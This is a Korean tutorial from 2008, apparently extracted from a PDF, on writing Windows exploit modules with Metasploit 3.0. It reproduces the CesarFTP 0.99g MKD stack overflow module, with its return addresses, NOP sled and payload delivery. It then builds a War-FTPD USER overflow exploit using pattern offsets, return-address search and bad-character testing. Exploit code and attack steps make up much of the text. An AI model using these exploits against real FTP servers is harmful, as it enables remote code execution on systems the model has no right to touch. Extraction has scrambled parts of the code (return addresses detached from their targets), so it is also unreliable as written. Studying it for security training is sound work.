Metasploit v3.0 을이용한 Exploit 작성하기 2008.1.18 본문서는 Jerome 님의 Writing Windows Exploits 을기반으로작성된문서임을밝힙니다. rich4rd rich4rd.lim@gmail.com - 1 -
목차. 1. 소개및개요 2. 배경지식 3. Exploit module 실습 3.1 Exploit module 수정하기 3.2 Exploit module 작성하기 3.3 취약한프로그램에대한간단한실습 3.3 공격지점찾기 3.3.1 사용가능한공간찾기 3.3.2 Return address 찾기 3.3.3 Bad character 처리 4. 마무리 - 2 -
1. 소개및개요 본문서는 Ruby언어로만들어진 Metasploit Framework 3.x에서윈도우 Exploit 작성을설명할것입니다. 하지만 Fuzzing 같이취약점을찾는설명을하지않습니다. Metasploit은쉽고빠르게 exploit 작성이가능케했습니다. 2. 필요한배경지식 - 약간의 Metasploit Framework 사용방법 - 약간의프로그래밍지식 - 윈도우메모리관리에대한이해 (Heap, Stack, Registers) 3. Exploit module 실습 Metasploit 에서는 Exploit module 이라고합니다. 3.1 Exploit module 수정하기 Exploit module은다음폴더에위치해있습니다. 해당코드는다음과같습니다. ## # $Id: cesarftp_mkd.rb 4419 2007-02-18 00:10:39Z hdm $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/projects/framework/ - 3 -
## require 'msf/core' # core library 는항상필요합니다. module Msf # 이줄은항상적어야합니다. class Exploits::Windows::Ftp::Cesarftp_Mkd < Msf::Exploit::Remote (Exploits::Windows::Ftp::Cesarftp_Mkd) 클래스의해당파일은 (/root/framework-3.0/modules/exploits/windows/ftp/cesarftp_mkd.rb) 에위치합니다. (cesarftp_mkd.rb) 모듈은 (Cesarftp_Mkd) 과같이클래스의이름과동일해야합니다. include Exploit::Remote::Ftp #MSF 에서제공하는함수인 Ftp 를사용합니다. def initialize(info = {}) super(update_info(info, 'Name' => 'Cesar FTP 0.99g MKD Command Buffer Overflow', # 콘솔에표시될 Exploit의이름을적습니다. 'Description' => %q{ This module exploits a stack overflow in the MKD verb in CesarFTP 0.99g. # 모듈과취약점에관한간단한설명을적습니다. }, 'Author' => 'MC', # 해당모듈의제작자를적습니다. 'License' => MSF_LICENSE, #license 타입입니다. 'Version' => '$Revision: 4419 $', # 모듈의버전을적습니다. 'References' => # 취약점에대한참고할수있는 URL을적습니다. [ [ 'BID', '18586'], [ 'CVE', '2006-2961'], [ 'URL', 'http://secunia.com/advisories/20574/' ], ], 'Privileged' => true, 'DefaultOptions' => { 'EXITFUNC' => 'process', }, 'Payload' => { 'Space' => 250, # 쉘코드를저장하기위한최대공간을 - 4 -
적습니다. 을적습니다. 0x77e14c29 } ], 0x76b43ae0 } ], 0x76AA679b } ], 'BadChars' => " x00 x20 x0a x0d", #Bad character 들 'StackAdjustment' => -3500, }, 'Platform' => 'win', # 공격시스템의운영체제를적습니다. 'Targets' => # 공격가능한환경와 and 리턴주소를적습니다. [ [ 'Windows 2000 Pro SP4 English', { 'Ret' => [ 'Windows XP SP2 English', { 'Ret' => [ 'Windows 2003 SP1 English', { 'Ret' => ], 'DisclosureDate' => 'Jun 12 2006', # 작성된날짜를적습니다. 'DefaultTarget' => 0 # 기본적으로공격시스템을정하게됩니다. 이코드의경우에는 (Windows 2000 Pro SP4 English) 이됩니다. ) ) def check # 실습이가능한지확인합니다. connect disconnect if (banner =~ /CesarFTP 0.99g/) return Exploit::CheckCode::Vulnerable 서버로부터 banner가돌아올때실습이가능함을알수있습니다. return Exploit::CheckCode::Safe # 실습이불가능합니다. def exploit #Exploit을정의합니다. connect_login #Ftp login 함수를사용합니다. sploit = " n" * 671 + Rex::Text.rand_text_english(3, payload_badchars) #Padding을만듭니다. sploit << [target.ret].pack('v') + make_nops(40) + payload.encoded # 리턴주소 (little ian converted) + nop sled + payload print_status("trying target #{target.name}...") - 5 -
s_cmd( ['MKD', sploit], false) # 대상시스템에공격코드를보냅니다. handler disconnect # 연결을종료합니다. 3.2 Exploit module 작성하기 Exploit module 실습을위해서 Buffer over flow에대해서취약점이존재하는 WarFTPD version 1.5를사용하겠습니다. 해당프로그램을설치후데몬을실행합니다. No anonymous logins를체크해제합니다.go Online/Offline 버튼을선택합니다. 다음과같이코드를작성합니다. ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit - 6 -
# Framework web site for more information on licensing and terms of use. # http://metasploit.com/projects/framework/ ## require 'msf/core' module Msf class Exploits::Windows::Ftp::WarFtpd < Msf::Exploit::Remote include Exploit::Remote::Ftp def initialize(info = {}) super(update_info(info, 'Name' 'Description' => 'War-FTPD 1.65 Username Overflow', => %q{ command This module exploits a buffer overflow found in the USER of War-FTPD 1.65. }, # 설명부분 'Author' => 'Your Name', # 자신의이름을적습니다. 'License' 'Version' => MSF_LICENSE, => '$Revision: 1 $', 'References' => [ [ 'URL', ' http://osvdb.org/displayvuln.php?osvdb_id=875&print' ] ], 'DefaultOptions' => { 'EXITFUNC' => 'process' - 7 -
}, 'Payload' => { 정확한정보가없습니다. 'Space' => 1000, # 디버깅을안했으므로아직 'BadChars' => " x00" # 디버깅을안했으므로아직정확한정보가없습니다. }, 'Targets' => [ # Target 0 [ 'Our Windows Target', SP2) # 공격대상의환경을적습니다. ( 예 : Windows xp { 다. 'Platform' => 'win', # 윈도우를선택합니 'Ret' => 0x01020304 가없습니다. # 디버깅을안했으므로아직정확한정보 } ] ] ) ) def exploit connect print_status("trying target #{target.name}...") - 8 -
내봅니다. exploit = 'A' * 1000 # 취약점을테스트하기위해서 A 문자 1000 개를보 s_cmd( ['USER', exploit], false ) handler disconnect 3.3 취약한프로그램에대한간단한실습 (1) 작성한 Exploit 을실행합니다. 공격후 Warftpd가강제적으로종료됨을확인할수있습니다. 이는 BOF를일으켜서종료된것이므로공격이성공적임을알수있습니다. - 9 -
(2) Warftpd 를재실행후 Ollydbg 에서 Attach 로프로세스를불러옵니다. (3) Exploit을다시보내면 Access violation 메시지를확인할수있고 EIP레지스터의내용이 41414141로덮어쓰게됨을알수있습니다. - 10 -
3.3 공격지점찾기 3.3.1 사용가능한공간찾기이제우리의쉘코드 (Payload) 가메모리에서저장될수있는충분한공간을찾아야합니다. (1) Patterncreate() 함수를이용해서반복적이기않고영문자숫자형태로되어있는 1000개의문자들을만들것입니다. 이실행파일은 /root/framework-3.0/tools/ 에있습니다. 이문자들을 Exploit하는데사용할것입니다. (2) 새로생성한문자들을 Exploit 변수로옮깁니다. (3) Ollydbg에서 Warftpd를불러들인상태에서수정한 exploit을다시보냅니다. 다음과같이 EIP가패턴문자 (31714131) 로덮어쓰였음을알수있습니다. - 11 -
3.3 공격지점찾기 3.3.1 사용가능한공간찾기 (1) PatternOffset() 함수를이용하여패턴문자의첫부분부터인터럽트가걸린값까지의거리를알기위해사용합니다. 다음그림은 EIP 레지스터의내용인 32714131 까지의거리가 485byte 임을나타내고있습니다. (2) 이젠거리를알았으니 Exploit 코드의 space 변수의값을 485 로수정합니다. - 12 -
3.3.2 Return address 찾기 Msfpescan 을이용하여 opcode 를위한리턴주소를찾습니다. - msfpescan 에대한기본정보는다음과같습니다. 이툴외로도 MSF Opcode 데이터베이스, eeye 의 eereap 등의툴들이있습니다. 이문서는취약한프로그램에대한실제공격을위한문서가아니므로방법만제시하겠습니다. 3.3.3 Bad character 처리 Exploit이성공적으로이루어지기위해서는쉘코드안에있는 Null 문자들을치환해야합니다. 또한어떤어플리케이션은대문자로바꾸기도합니다. 따라서 Bad caracter처리는 Exploit전에꼭해야하는과정이라고할수있습니다. (1) Bad character를찾기위해디버거가 Warftpd를불러온상태에서 ASCII 테이블의모든문자를 exploit변수에담아서보내봅니다. Access violation이걸린상태에서 Esp register에대한옵션중 follow in dump를선택해서우리가보낸문자들과메모리에저장된문자들이일치하는지확인하는과정으로 Bad character를찾습니다. (2) Bad character를찾게된경우그문자를삭제하고다시보내면서우리가보낸문자들을완벽하게디버거에서확인할때까지반복합니다. -_-; - 13 -
4. 마무리 이문서는 Metasploit을이용한 Exploit제작방법에대해서간단하게알아봤습니다. 간혹공격성공후 Shell prompt가보고싶었을분도계실수있는데본문서의목적은공격성공이아니라전반적인 Exploit제작방법을말씀드리고싶은것이니양해부탁드립니다. 분명혼자연습하시면서성공하시리라생각됩니다. :-) 읽어주셔서감사합니다. 좋은하루되세요!. - 14 -